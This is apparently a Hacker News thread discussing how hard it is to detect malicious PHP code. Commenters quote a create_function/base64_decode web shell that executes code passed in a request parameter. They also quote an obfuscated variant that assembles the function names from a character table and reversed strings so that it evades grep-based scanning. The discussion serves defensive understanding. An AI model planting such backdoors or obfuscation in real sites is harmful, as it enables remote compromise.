This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.
$j6 = create_function('', base64_decode($_REQUEST['sort']));
$j6(); // execution
The `create_function()`[1] will internally execute `eval()` so the result would be the same.Salt and flavour per your coding style and code base.
You need to ensure bad stuff can't get in, not let stuff in and try to determine what's bad after the fact.
Regarding "ensure bad stuff can't get in", that is a completely different aspect. No matter how well you "ensure", bad stuff will always get it. Thus security is done in layers.
Eventhough I do not know what above code does, at a glance, I can tell that this is not normal code. A machine could too.
<?php $z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?>
There's no 'eval' or 'base64_decode' easy thing to grep for.